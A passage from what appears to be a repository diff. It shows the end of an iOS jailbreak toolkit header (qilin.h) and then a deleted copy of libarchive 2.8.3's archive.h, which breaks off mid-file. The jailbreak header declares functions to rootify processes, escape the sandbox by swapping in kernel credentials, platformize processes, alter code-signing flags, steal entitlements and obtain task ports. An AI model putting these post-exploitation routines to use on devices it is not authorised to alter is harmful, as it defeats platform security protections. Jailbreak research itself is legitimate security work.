int kexec(uint64_t Address, uint64_t Arg0, uint64_t Arg1,uint64_t Arg2,uint64_t Arg3,uint64_t Arg4,uint64_t Arg5,uint64_t Arg6);
// 03/20/2018
uint64_t getAddressOfPort(pid_t Pid, mach_port_name_t Port);
// 06/15/2018 -------
// Will return the address of the kernel vnode representing Path.
uint64_t getVnodeByPathName (char *Path) ;
uint64_t getRootVnodeAddr(void); // Convenience, for rootvnode ("/") instead of _rootvnode sym deref
//-------------------
// Not recommended, but doable: Bestow task port of Pid in TargetPid
mach_port_t task_for_pid_in_kernel (pid_t Pid, pid_t TargetPid);
//--------------------------------------
// Process manipulation functions
// Finds the address of struct proc for this pid_t in kernel memory.
uint64_t getProcStructForPid(pid_t);
// Finds the pid of a process given its (base) name. Note this will only
// work on processes you are the owner of (or all, if root) - this is intentional
pid_t findPidOfProcess (char *ProcName) ;
int setCSFlagsForProcAtAddr(uint64_t ProcStructAddr, int Flags, int Set);
int setCSFlagsForPid (pid_t Whom, uint32_t Flags);
int platformizeProcAtAddr(uint64_t thing);
int platformizePid(pid_t Whom);
int setuidProcessAtAddr (uid_t Uid, uint64_t ProcStructAddr);
int rootifyPid(pid_t Whom);
uint64_t ShaiHuludProcessAtAddr(uint64_t ProcStructAddr, uint64_t CredAddr);
uint64_t ShaiHulud2ProcessAtAddr(uint64_t ProcStructAddr);
int ShaiHuludPid (pid_t Whom, uint64_t CredAddr); // leave 0 for root creds.
int unShaiHuludPid (pid_t Whom);
uint64_t borrowEntitlementsFromDonor(char *UnwittingDonor, char *Arg);
// By request :-)
uint64_t borrowEntitlementsFromPid(pid_t Pid);
// Presently, limited to two entitlements, and assumed boolean (true)
int entitlePidWithKernelEnts (pid_t Whom, char *Ent1, char *Ent2);
// Convenience functions - do all the above , but on my process
int platformizeMe (void);
int rootifyMe(void);
// Escape sandbox:
// call with 0 to assume kernel cred, else specify value. Will return origCreds
uint64_t ShaiHuludMe(uint64_t OtherCredsOr0ForKernelCreds);
void unShaiHuludMe(uint64_t OrigCreds);
int entitleMe(char *entitlementString);
uint64_t getKernelCredAddr (void);
/// Vnode functions - bringing @MinZheng's APFS bypass to the masses:
uint64_t getVnodeByPathName (char *Path);
/// Launchd handling utilities - just for you @launchderp :-)
int makeLaunchdPlist (char *PlistName, char *Program, char *ProgramArguments, char *StandardOutputPath, char *StandardErrorPath, int RunAtLoad);
int launjctlLaunchdPlist(char *Name);
// I use these internally, not sure anyone else would need them
int launjctlPrintSystem (void);
int launjctlDumpState(void);
// This one is still in progress. Don't use it please.
int movePortToPid(mach_port_t PortMoved, pid_t Pid, mach_port_name_t Name);
int spawnJailbreakServer (char *Name, mach_port_t TFP0, mach_port_name_t NameInTarget);
// UI Support:
// Provide status, error and debug print outs to user,
// which may be redirected to GUI views, etc.
// Default implmenentations are NSLog.
typedef void (status_func) (char *,...);
void setStatusReporter (status_func *Func);
void setErrorReporter (status_func *Func);
void setDebugReporter (status_func *Func);
// Utility functions you probably won't need unless you want to do your own debugging
void hexDump(void *Mem, int Len, uint64_t Addr);
void dumpARMThreadState64(_STRUCT_ARM_THREAD_STATE64 *old_state);
// Even more Internal/advanced use:
uint64_t findKernelTask (void);
uint64_t findMyProcStructInKernelMemory(void); // For other advanced uses I haven't provided already
#endif /* qilin_h */
-741
View File
@@ -1,741 +0,0 @@
/*-
* Copyright (c) 2003-2007 Tim Kientzle
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
* $FreeBSD: src/lib/libarchive/archive.h.in,v 1.50 2008/05/26 17:00:22 kientzle Exp $
*/
#ifndef ARCHIVE_H_INCLUDED
#define ARCHIVE_H_INCLUDED
/*
* Note: archive.h is for use outside of libarchive; the configuration
* headers (config.h, archive_platform.h, etc.) are purely internal.
* Do NOT use HAVE_XXX configuration macros to control the behavior of
* this header! If you must conditionalize, use predefined compiler and/or
* platform macros.
*/
#if defined(__BORLANDC__) && __BORLANDC__ >= 0x560
# define __LA_STDINT_H <stdint.h>
#elif !defined(__WATCOMC__) && !defined(_MSC_VER) && !defined(__INTERIX) && !defined(__BORLANDC__)
# define __LA_STDINT_H <inttypes.h>
#endif
#include <sys/stat.h>
#include <sys/types.h> /* Linux requires this for off_t */
#ifdef __LA_STDINT_H
# include __LA_STDINT_H /* int64_t, etc. */
#endif
#include <stdio.h> /* For FILE * */
/* Get appropriate definitions of standard POSIX-style types. */
/* These should match the types used in 'struct stat' */
#if defined(_WIN32) && !defined(__CYGWIN__)
#define __LA_INT64_T __int64
# if defined(_SSIZE_T_DEFINED)
# define __LA_SSIZE_T ssize_t
# elif defined(_WIN64)
# define __LA_SSIZE_T __int64
# else
# define __LA_SSIZE_T long
# endif
# if defined(__BORLANDC__)
# define __LA_UID_T uid_t
# define __LA_GID_T gid_t
# else
# define __LA_UID_T short
# define __LA_GID_T short
# endif
#else
#include <unistd.h> /* ssize_t, uid_t, and gid_t */
#define __LA_INT64_T int64_t
#define __LA_SSIZE_T ssize_t
#define __LA_UID_T uid_t
#define __LA_GID_T gid_t
#endif
/*
* On Windows, define LIBARCHIVE_STATIC if you're building or using a
* .lib. The default here assumes you're building a DLL. Only
* libarchive source should ever define __LIBARCHIVE_BUILD.
*/
#if ((defined __WIN32__) || (defined _WIN32) || defined(__CYGWIN__)) && (!defined LIBARCHIVE_STATIC)
# ifdef __LIBARCHIVE_BUILD
# ifdef __GNUC__
# define __LA_DECL __attribute__((dllexport)) extern
# else
# define __LA_DECL __declspec(dllexport)
# endif
# else
# ifdef __GNUC__
# define __LA_DECL __attribute__((dllimport)) extern
# else
# define __LA_DECL __declspec(dllimport)
# endif
# endif
#else
/* Static libraries or non-Windows needs no special declaration. */
# define __LA_DECL
#endif
#ifdef __cplusplus
extern "C" {
#endif
/*
* The version number is provided as both a macro and a function.
* The macro identifies the installed header; the function identifies
* the library version (which may not be the same if you're using a
* dynamically-linked version of the library). Of course, if the
* header and library are very different, you should expect some
* strangeness. Don't do that.
*/
/*
* The version number is expressed as a single integer that makes it
* easy to compare versions at build time: for version a.b.c, the
* version number is printf("%d%03d%03d",a,b,c). For example, if you
* know your application requires version 2.12.108 or later, you can
* assert that ARCHIVE_VERSION >= 2012108.
*
* This single-number format was introduced with libarchive 1.9.0 in
* the libarchive 1.x family and libarchive 2.2.4 in the libarchive
* 2.x family. The following may be useful if you really want to do
* feature detection for earlier libarchive versions (which defined
* ARCHIVE_API_VERSION and ARCHIVE_API_FEATURE instead):
*
* #ifndef ARCHIVE_VERSION_NUMBER
* #define ARCHIVE_VERSION_NUMBER \
* (ARCHIVE_API_VERSION * 1000000 + ARCHIVE_API_FEATURE * 1000)
* #endif
*/
#define ARCHIVE_VERSION_NUMBER 2008003
__LA_DECL int archive_version_number(void);
/*
* Textual name/version of the library, useful for version displays.
*/
#define ARCHIVE_VERSION_STRING "libarchive 2.8.3"
__LA_DECL const char * archive_version_string(void);
#if ARCHIVE_VERSION_NUMBER < 3000000
/*
* Deprecated; these are older names that will be removed in favor of
* the simpler definitions above.
*/
#define ARCHIVE_VERSION_STAMP ARCHIVE_VERSION_NUMBER
__LA_DECL int archive_version_stamp(void);
#define ARCHIVE_LIBRARY_VERSION ARCHIVE_VERSION_STRING
__LA_DECL const char * archive_version(void);
#define ARCHIVE_API_VERSION (ARCHIVE_VERSION_NUMBER / 1000000)
__LA_DECL int archive_api_version(void);
#define ARCHIVE_API_FEATURE ((ARCHIVE_VERSION_NUMBER / 1000) % 1000)
__LA_DECL int archive_api_feature(void);
#endif
#if ARCHIVE_VERSION_NUMBER < 3000000
/* This should never have been here in the first place. */
/* Legacy of old tar assumptions, will be removed in libarchive 3.0. */
#define ARCHIVE_BYTES_PER_RECORD 512
#define ARCHIVE_DEFAULT_BYTES_PER_BLOCK 10240
#endif
/* Declare our basic types. */
struct archive;
struct archive_entry;
/*
* Error codes: Use archive_errno() and archive_error_string()
* to retrieve details. Unless specified otherwise, all functions
* that return 'int' use these codes.
*/
#define ARCHIVE_EOF 1 /* Found end of archive. */
#define ARCHIVE_OK 0 /* Operation was successful. */
#define ARCHIVE_RETRY (-10) /* Retry might succeed. */
#define ARCHIVE_WARN (-20) /* Partial success. */
/* For example, if write_header "fails", then you can't push data. */
#define ARCHIVE_FAILED (-25) /* Current operation cannot complete. */
/* But if write_header is "fatal," then this archive is dead and useless. */
#define ARCHIVE_FATAL (-30) /* No more operations are possible. */
/*
* As far as possible, archive_errno returns standard platform errno codes.
* Of course, the details vary by platform, so the actual definitions
* here are stored in "archive_platform.h". The symbols are listed here
* for reference; as a rule, clients should not need to know the exact
* platform-dependent error code.
*/
/* Unrecognized or invalid file format. */
/* #define ARCHIVE_ERRNO_FILE_FORMAT */
/* Illegal usage of the library. */
/* #define ARCHIVE_ERRNO_PROGRAMMER_ERROR */
/* Unknown or unclassified error. */
/* #define ARCHIVE_ERRNO_MISC */
/*
* Callbacks are invoked to automatically read/skip/write/open/close the
* archive. You can provide your own for complex tasks (like breaking
* archives across multiple tapes) or use standard ones built into the
* library.
*/
/* Returns pointer and size of next block of data from archive. */
typedef __LA_SSIZE_T archive_read_callback(struct archive *,
void *_client_data, const void **_buffer);
/* Skips at most request bytes from archive and returns the skipped amount */
#if ARCHIVE_VERSION_NUMBER < 2000000
/* Libarchive 1.0 used ssize_t for the return, which is only 32 bits
* on most 32-bit platforms; not large enough. */
typedef __LA_SSIZE_T archive_skip_callback(struct archive *,
void *_client_data, size_t request);
#elif ARCHIVE_VERSION_NUMBER < 3000000
/* Libarchive 2.0 used off_t here, but that is a bad idea on Linux and a
* few other platforms where off_t varies with build settings. */
typedef off_t archive_skip_callback(struct archive *,
void *_client_data, off_t request);
#else
/* Libarchive 3.0 uses int64_t here, which is actually guaranteed to be
* 64 bits on every platform. */
typedef __LA_INT64_T archive_skip_callback(struct archive *,
void *_client_data, __LA_INT64_T request);
#endif
/* Returns size actually written, zero on EOF, -1 on error. */
typedef __LA_SSIZE_T archive_write_callback(struct archive *,
void *_client_data,
const void *_buffer, size_t _length);
#if ARCHIVE_VERSION_NUMBER < 3000000
/* Open callback is actually never needed; remove it in libarchive 3.0. */
typedef int archive_open_callback(struct archive *, void *_client_data);
#endif
typedef int archive_close_callback(struct archive *, void *_client_data);
/*
* Codes for archive_compression.
*/
#define ARCHIVE_COMPRESSION_NONE 0
#define ARCHIVE_COMPRESSION_GZIP 1
#define ARCHIVE_COMPRESSION_BZIP2 2
#define ARCHIVE_COMPRESSION_COMPRESS 3
#define ARCHIVE_COMPRESSION_PROGRAM 4
#define ARCHIVE_COMPRESSION_LZMA 5
#define ARCHIVE_COMPRESSION_XZ 6
#define ARCHIVE_COMPRESSION_UU 7
#define ARCHIVE_COMPRESSION_RPM 8
/*
* Codes returned by archive_format.
*
* Top 16 bits identifies the format family (e.g., "tar"); lower
* 16 bits indicate the variant. This is updated by read_next_header.
* Note that the lower 16 bits will often vary from entry to entry.
* In some cases, this variation occurs as libarchive learns more about
* the archive (for example, later entries might utilize extensions that
* weren't necessary earlier in the archive; in this case, libarchive
* will change the format code to indicate the extended format that
* was used). In other cases, it's because different tools have
* modified the archive and so different parts of the archive
* actually have slightly different formts. (Both tar and cpio store
* format codes in each entry, so it is quite possible for each
* entry to be in a different format.)
*/
#define ARCHIVE_FORMAT_BASE_MASK 0xff0000
#define ARCHIVE_FORMAT_CPIO 0x10000
#define ARCHIVE_FORMAT_CPIO_POSIX (ARCHIVE_FORMAT_CPIO | 1)
#define ARCHIVE_FORMAT_CPIO_BIN_LE (ARCHIVE_FORMAT_CPIO | 2)
#define ARCHIVE_FORMAT_CPIO_BIN_BE (ARCHIVE_FORMAT_CPIO | 3)
#define ARCHIVE_FORMAT_CPIO_SVR4_NOCRC (ARCHIVE_FORMAT_CPIO | 4)
#define ARCHIVE_FORMAT_CPIO_SVR4_CRC (ARCHIVE_FORMAT_CPIO | 5)
#define ARCHIVE_FORMAT_SHAR 0x20000
#define ARCHIVE_FORMAT_SHAR_BASE (ARCHIVE_FORMAT_SHAR | 1)
#define ARCHIVE_FORMAT_SHAR_DUMP (ARCHIVE_FORMAT_SHAR | 2)
#define ARCHIVE_FORMAT_TAR 0x30000
#define ARCHIVE_FORMAT_TAR_USTAR (ARCHIVE_FORMAT_TAR | 1)
#define ARCHIVE_FORMAT_TAR_PAX_INTERCHANGE (ARCHIVE_FORMAT_TAR | 2)
#define ARCHIVE_FORMAT_TAR_PAX_RESTRICTED (ARCHIVE_FORMAT_TAR | 3)
#define ARCHIVE_FORMAT_TAR_GNUTAR (ARCHIVE_FORMAT_TAR | 4)
#define ARCHIVE_FORMAT_ISO9660 0x40000
#define ARCHIVE_FORMAT_ISO9660_ROCKRIDGE (ARCHIVE_FORMAT_ISO9660 | 1)
#define ARCHIVE_FORMAT_ZIP 0x50000
#define ARCHIVE_FORMAT_EMPTY 0x60000
#define ARCHIVE_FORMAT_AR 0x70000
#define ARCHIVE_FORMAT_AR_GNU (ARCHIVE_FORMAT_AR | 1)
#define ARCHIVE_FORMAT_AR_BSD (ARCHIVE_FORMAT_AR | 2)
#define ARCHIVE_FORMAT_MTREE 0x80000
#define ARCHIVE_FORMAT_RAW 0x90000
#define ARCHIVE_FORMAT_XAR 0xA0000
/*-
* Basic outline for reading an archive:
* 1) Ask archive_read_new for an archive reader object.
* 2) Update any global properties as appropriate.
* In particular, you'll certainly want to call appropriate
* archive_read_support_XXX functions.
* 3) Call archive_read_open_XXX to open the archive
* 4) Repeatedly call archive_read_next_header to get information about
* successive archive entries. Call archive_read_data to extract
* data for entries of interest.
* 5) Call archive_read_finish to end processing.
*/
__LA_DECL struct archive *archive_read_new(void);
/*
* The archive_read_support_XXX calls enable auto-detect for this
* archive handle. They also link in the necessary support code.
* For example, if you don't want bzlib linked in, don't invoke
* support_compression_bzip2(). The "all" functions provide the
* obvious shorthand.
*/
__LA_DECL int archive_read_support_compression_all(struct archive *);
__LA_DECL int archive_read_support_compression_bzip2(struct archive *);
__LA_DECL int archive_read_support_compression_compress(struct archive *);
__LA_DECL int archive_read_support_compression_gzip(struct archive *);
__LA_DECL int archive_read_support_compression_lzma(struct archive *);
__LA_DECL int archive_read_support_compression_none(struct archive *);
__LA_DECL int archive_read_support_compression_program(struct archive *,
const char *command);
__LA_DECL int archive_read_support_compression_program_signature
(struct archive *, const char *,
const void * /* match */, size_t);
__LA_DECL int archive_read_support_compression_rpm(struct archive *);
__LA_DECL int archive_read_support_compression_uu(struct archive *);
__LA_DECL int archive_read_support_compression_xz(struct archive *);
__LA_DECL int archive_read_support_format_all(struct archive *);
__LA_DECL int archive_read_support_format_ar(struct archive *);
__LA_DECL int archive_read_support_format_cpio(struct archive *);
__LA_DECL int archive_read_support_format_empty(struct archive *);
__LA_DECL int archive_read_support_format_gnutar(struct archive *);
__LA_DECL int archive_read_support_format_iso9660(struct archive *);
__LA_DECL int archive_read_support_format_mtree(struct archive *);
__LA_DECL int archive_read_support_format_raw(struct archive *);
__LA_DECL int archive_read_support_format_tar(struct archive *);
__LA_DECL int archive_read_support_format_xar(struct archive *);
__LA_DECL int archive_read_support_format_zip(struct archive *);
/* Open the archive using callbacks for archive I/O. */
__LA_DECL int archive_read_open(struct archive *, void *_client_data,
archive_open_callback *, archive_read_callback *,
archive_close_callback *);
__LA_DECL int archive_read_open2(struct archive *, void *_client_data,
archive_open_callback *, archive_read_callback *,
archive_skip_callback *, archive_close_callback *);
/*
* A variety of shortcuts that invoke archive_read_open() with
* canned callbacks suitable for common situations. The ones that
* accept a block size handle tape blocking correctly.
*/
/* Use this if you know the filename. Note: NULL indicates stdin. */
__LA_DECL int archive_read_open_filename(struct archive *,
const char *_filename, size_t _block_size);
/* archive_read_open_file() is a deprecated synonym for ..._open_filename(). */
__LA_DECL int archive_read_open_file(struct archive *,
const char *_filename, size_t _block_size);
/* Read an archive that's stored in memory. */
__LA_DECL int archive_read_open_memory(struct archive *,
void * buff, size_t size);
/* A more involved version that is only used for internal testing. */
__LA_DECL int archive_read_open_memory2(struct archive *a, void *buff,
size_t size, size_t read_size);
/* Read an archive that's already open, using the file descriptor. */
__LA_DECL int archive_read_open_fd(struct archive *, int _fd,
size_t _block_size);
/* Read an archive that's already open, using a FILE *. */
/* Note: DO NOT use this with tape drives. */
__LA_DECL int archive_read_open_FILE(struct archive *, FILE *_file);
/* Parses and returns next entry header. */
__LA_DECL int archive_read_next_header(struct archive *,
struct archive_entry **);
/* Parses and returns next entry header using the archive_entry passed in */
__LA_DECL int archive_read_next_header2(struct archive *,
struct archive_entry *);
/*
* Retrieve the byte offset in UNCOMPRESSED data where last-read
* header started.
*/
__LA_DECL __LA_INT64_T archive_read_header_position(struct archive *);
/* Read data from the body of an entry. Similar to read(2). */
__LA_DECL __LA_SSIZE_T archive_read_data(struct archive *,
void *, size_t);
/*
* A zero-copy version of archive_read_data that also exposes the file offset
* of each returned block. Note that the client has no way to specify
* the desired size of the block. The API does guarantee that offsets will
* be strictly increasing and that returned blocks will not overlap.
*/
#if ARCHIVE_VERSION_NUMBER < 3000000
__LA_DECL int archive_read_data_block(struct archive *a,
const void **buff, size_t *size, off_t *offset);
#else
__LA_DECL int archive_read_data_block(struct archive *a,
const void **buff, size_t *size,
__LA_INT64_T *offset);
#endif
/*-
* Some convenience functions that are built on archive_read_data:
* 'skip': skips entire entry
* 'into_buffer': writes data into memory buffer that you provide
* 'into_fd': writes data to specified filedes
*/
__LA_DECL int archive_read_data_skip(struct archive *);
__LA_DECL int archive_read_data_into_buffer(struct archive *,
void *buffer, __LA_SSIZE_T len);
__LA_DECL int archive_read_data_into_fd(struct archive *, int fd);
/*
* Set read options.
*/
/* Apply option string to the format only. */
__LA_DECL int archive_read_set_format_options(struct archive *_a,
const char *s);
/* Apply option string to the filter only. */
__LA_DECL int archive_read_set_filter_options(struct archive *_a,
const char *s);
/* Apply option string to both the format and the filter. */
__LA_DECL int archive_read_set_options(struct archive *_a,
const char *s);
/*-
* Convenience function to recreate the current entry (whose header
* has just been read) on disk.
*
* This does quite a bit more than just copy data to disk. It also:
* - Creates intermediate directories as required.
* - Manages directory permissions: non-writable directories will
* be initially created with write permission enabled; when the
* archive is closed, dir permissions are edited to the values specified
* in the archive.
* - Checks hardlinks: hardlinks will not be extracted unless the
* linked-to file was also extracted within the same session. (TODO)
*/
/* The "flags" argument selects optional behavior, 'OR' the flags you want. */
/* Default: Do not try to set owner/group. */
#define ARCHIVE_EXTRACT_OWNER (0x0001)
/* Default: Do obey umask, do not restore SUID/SGID/SVTX bits. */
#define ARCHIVE_EXTRACT_PERM (0x0002)
/* Default: Do not restore mtime/atime. */
#define ARCHIVE_EXTRACT_TIME (0x0004)
/* Default: Replace existing files. */
#define ARCHIVE_EXTRACT_NO_OVERWRITE (0x0008)
/* Default: Try create first, unlink only if create fails with EEXIST. */
#define ARCHIVE_EXTRACT_UNLINK (0x0010)
/* Default: Do not restore ACLs. */
#define ARCHIVE_EXTRACT_ACL (0x0020)
/* Default: Do not restore fflags. */
#define ARCHIVE_EXTRACT_FFLAGS (0x0040)
/* Default: Do not restore xattrs. */
#define ARCHIVE_EXTRACT_XATTR (0x0080)
/* Default: Do not try to guard against extracts redirected by symlinks. */
/* Note: With ARCHIVE_EXTRACT_UNLINK, will remove any intermediate symlink. */
#define ARCHIVE_EXTRACT_SECURE_SYMLINKS (0x0100)
/* Default: Do not reject entries with '..' as path elements. */
#define ARCHIVE_EXTRACT_SECURE_NODOTDOT (0x0200)
/* Default: Create parent directories as needed. */
#define ARCHIVE_EXTRACT_NO_AUTODIR (0x0400)
/* Default: Overwrite files, even if one on disk is newer. */
#define ARCHIVE_EXTRACT_NO_OVERWRITE_NEWER (0x0800)
/* Detect blocks of 0 and write holes instead. */
#define ARCHIVE_EXTRACT_SPARSE (0x1000)
__LA_DECL int archive_read_extract(struct archive *, struct archive_entry *,
int flags);
__LA_DECL int archive_read_extract2(struct archive *, struct archive_entry *,
struct archive * /* dest */);
__LA_DECL void archive_read_extract_set_progress_callback(struct archive *,
void (*_progress_func)(void *), void *_user_data);
/* Record the dev/ino of a file that will not be written. This is
* generally set to the dev/ino of the archive being read. */
__LA_DECL void archive_read_extract_set_skip_file(struct archive *,
dev_t, ino_t);
/* Close the file and release most resources. */
__LA_DECL int archive_read_close(struct archive *);
/* Release all resources and destroy the object. */
/* Note that archive_read_finish will call archive_read_close for you. */
#if ARCHIVE_VERSION_NUMBER < 2000000
/* Erroneously declared to return void in libarchive 1.x */
__LA_DECL void archive_read_finish(struct archive *);
#else
__LA_DECL int archive_read_finish(struct archive *);
#endif
/*-
* To create an archive:
* 1) Ask archive_write_new for a archive writer object.
* 2) Set any global properties. In particular, you should set
* the compression and format to use.
* 3) Call archive_write_open to open the file (most people
* will use archive_write_open_file or archive_write_open_fd,
* which provide convenient canned I/O callbacks for you).
* 4) For each entry:
* - construct an appropriate struct archive_entry structure
* - archive_write_header to write the header
* - archive_write_data to write the entry data
* 5) archive_write_close to close the output
* 6) archive_write_finish to cleanup the writer and release resources
*/
__LA_DECL struct archive *archive_write_new(void);
__LA_DECL int archive_write_set_bytes_per_block(struct archive *,
int bytes_per_block);
__LA_DECL int archive_write_get_bytes_per_block(struct archive *);
/* XXX This is badly misnamed; suggestions appreciated. XXX */
__LA_DECL int archive_write_set_bytes_in_last_block(struct archive *,
int bytes_in_last_block);
__LA_DECL int archive_write_get_bytes_in_last_block(struct archive *);
/* The dev/ino of a file that won't be archived. This is used
* to avoid recursively adding an archive to itself. */
__LA_DECL int archive_write_set_skip_file(struct archive *, dev_t, ino_t);
__LA_DECL int archive_write_set_compression_bzip2(struct archive *);
__LA_DECL int archive_write_set_compression_compress(struct archive *);
__LA_DECL int archive_write_set_compression_gzip(struct archive *);
__LA_DECL int archive_write_set_compression_lzma(struct archive *);
__LA_DECL int archive_write_set_compression_none(struct archive *);
__LA_DECL int archive_write_set_compression_program(struct archive *,
const char *cmd);
__LA_DECL int archive_write_set_compression_xz(struct archive *);
/* A convenience function to set the format based on the code or name. */
__LA_DECL int archive_write_set_format(struct archive *, int format_code);
__LA_DECL int archive_write_set_format_by_name(struct archive *,
const char *name);
/* To minimize link pollution, use one or more of the following. */
__LA_DECL int archive_write_set_format_ar_bsd(struct archive *);
__LA_DECL int archive_write_set_format_ar_svr4(struct archive *);
__LA_DECL int archive_write_set_format_cpio(struct archive *);
__LA_DECL int archive_write_set_format_cpio_newc(struct archive *);
__LA_DECL int archive_write_set_format_mtree(struct archive *);
/* TODO: int archive_write_set_format_old_tar(struct archive *); */
__LA_DECL int archive_write_set_format_pax(struct archive *);
__LA_DECL int archive_write_set_format_pax_restricted(struct archive *);
__LA_DECL int archive_write_set_format_shar(struct archive *);
__LA_DECL int archive_write_set_format_shar_dump(struct archive *);
__LA_DECL int archive_write_set_format_ustar(struct archive *);
__LA_DECL int archive_write_set_format_zip(struct archive *);
__LA_DECL int archive_write_open(struct archive *, void *,
archive_open_callback *, archive_write_callback *,
archive_close_callback *);
__LA_DECL int archive_write_open_fd(struct archive *, int _fd);
__LA_DECL int archive_write_open_filename(struct archive *, const char *_file);
/* A deprecated synonym for archive_write_open_filename() */
__LA_DECL int archive_write_open_file(struct archive *, const char *_file);
__LA_DECL int archive_write_open_FILE(struct archive *, FILE *);
/* _buffSize is the size of the buffer, _used refers to a variable that
* will be updated after each write into the buffer. */
__LA_DECL int archive_write_open_memory(struct archive *,
void *_buffer, size_t _buffSize, size_t *_used);
/*
* Note that the library will truncate writes beyond the size provided
* to archive_write_header or pad if the provided data is short.
*/
__LA_DECL int archive_write_header(struct archive *,
struct archive_entry *);
#if ARCHIVE_VERSION_NUMBER < 2000000
/* This was erroneously declared to return "int" in libarchive 1.x. */
__LA_DECL int archive_write_data(struct archive *,
const void *, size_t);
#else
/* Libarchive 2.0 and later return ssize_t here. */
__LA_DECL __LA_SSIZE_T archive_write_data(struct archive *,
const void *, size_t);
#endif
#if ARCHIVE_VERSION_NUMBER < 3000000
/* Libarchive 1.x and 2.x use off_t for the argument, but that's not
* stable on Linux. */
__LA_DECL __LA_SSIZE_T archive_write_data_block(struct archive *,
const void *, size_t, off_t);
#else
/* Libarchive 3.0 uses explicit int64_t to ensure consistent 64-bit support. */
__LA_DECL __LA_SSIZE_T archive_write_data_block(struct archive *,
const void *, size_t, __LA_INT64_T);
#endif
__LA_DECL int archive_write_finish_entry(struct archive *);
__LA_DECL int archive_write_close(struct archive *);
#if ARCHIVE_VERSION_NUMBER < 2000000
/* Return value was incorrect in libarchive 1.x. */
__LA_DECL void archive_write_finish(struct archive *);
#else
/* Libarchive 2.x and later returns an error if this fails. */
/* It can fail if the archive wasn't already closed, in which case
* archive_write_finish() will implicitly call archive_write_close(). */
__LA_DECL int archive_write_finish(struct archive *);
#endif
/*
* Set write options.
*/
/* Apply option string to the format only. */
__LA_DECL int archive_write_set_format_options(struct archive *_a,
const char *s);
/* Apply option string to the compressor only. */
__LA_DECL int archive_write_set_compressor_options(struct archive *_a,
const char *s);
/* Apply option string to both the format and the compressor. */
__LA_DECL int archive_write_set_options(struct archive *_a,
const char *s);
/*-
* ARCHIVE_WRITE_DISK API
*
* To create objects on disk:
* 1) Ask archive_write_disk_new for a new archive_write_disk object.
* 2) Set any global properties. In particular, you probably
* want to set the options.
* 3) For each entry:
* - construct an appropriate struct archive_entry structure
* - archive_write_header to create the file/dir/etc on disk
* - archive_write_data to write the entry data
* 4) archive_write_finish to cleanup the writer and release resources
*
* In particular, you can use this in conjunction with archive_read()
* to pull entries out of an archive and create them on disk.
*/
__LA_DECL struct archive *archive_write_disk_new(void);
/* This file will not be overwritten. */
__LA_DECL int archive_write_disk_set_skip_file(struct archive *,
dev_t, ino_t);
/* Set flags to control how the next item gets created.
* This accepts a bitmask of ARCHIVE_EXTRACT_XXX flags defined above. */
__LA_DECL int archive_write_disk_set_options(struct archive *,
int flags);
/*
* The lookup functions are given uname/uid (or gname/gid) pairs and
* return a uid (gid) suitable for this system. These are used for
* restoring ownership and for setting ACLs. The default functions
* are naive, they just return the uid/gid. These are small, so reasonable
* for applications that don't need to preserve ownership; they
* are probably also appropriate for applications that are doing
* same-system backup and restore.
*/
/*
* The "standard" lookup functions use common system calls to lookup
* the uname/gname, falling back to the uid/gid if the names can't be
* found. They cache lookups and are reasonably fast, but can be very
* large, so they are not used unless you ask for them. In
* particular, these match the specifications of POSIX "pax" and old
* POSIX "tar".
*/
__LA_DECL int archive_write_disk_set_standard_lookup(struct archive *);
/*
* If neither the default (naive) nor the standard (big) functions suit
* your needs, you can write your own and register them. Be sure to
* include a cleanup function if you have allocated private data.
*/
__LA_DECL int archive_write_disk_set_group_lookup(struct archive *,
void * /* private_data */,
__LA_GID_T (*)(void *, const char *, __LA_GID_T),
void (* /* cleanup */)(void *));
__LA_DECL int archive_write_disk_set_user_lookup(struct archive *,
void * /* private_data */,
__LA_UID_T (*)(void *, const char *, __LA_UID_T),
void (* /* cleanup */)(void *));
/*
* ARCHIVE_READ_DISK API
*
* This is still evolving and somewhat experimental.
*/
__LA_DECL struct archive *archive_read_disk_new(void);
/* The names for symlink modes here correspond to an old BSD
* command-line argument convention: -L, -P, -H */
/* Follow all symlinks. */
__LA_DECL int archive_read_disk_set_symlink_logical(struct archive *);
/* Follow no symlinks. */
__LA_DECL int archive_read_disk_set_symlink_physical(struct archive *);
/* Follow symlink initially, then not. */
__LA_DECL int archive_read_disk_set_symlink_hybrid(struct archive *);
/* TODO: Handle Linux stat32/stat64 ugliness. <sigh> */
__LA_DECL int archive_read_disk_entry_from_file(struct archive *,
struct archive_entry *, int /* fd */, const struct stat *);
/* Look up gname for gid or uname for uid. */
/* Default implementations are very, very stupid. */
__LA_DECL const char *archive_read_disk_gname(struct archive *, __LA_GID_T);
__LA_DECL const char *archive_read_disk_uname(struct archive *, __LA_UID_T);
/* "Standard" implementation uses getpwuid_r, getgrgid_r and caches the
* results for performance. */
__LA_DECL int archive_read_disk_set_standard_lookup(struct archive *);
/* You can install your own lookups if you like. */
__LA_DECL int archive_read_disk_set_gname_lookup(struct archive *,
void * /* private_data */,
const char *(* /* lookup_fn */)(void *, __LA_GID_T),
void (* /* cleanup_fn */)(void *));
__LA_DECL int archive_read_disk_set_uname_lookup(struct archive *,
void * /* private_data */,
const char *(* /* lookup_fn */)(void *, __LA_UID_T),
void (* /* cleanup_fn */)(void *));
/*
* Accessor functions to read/set various information in
* the struct archive object:
*/
/* Bytes written after compression or read before decompression. */
__LA_DECL __LA_INT64_T archive_position_compressed(struct archive *);
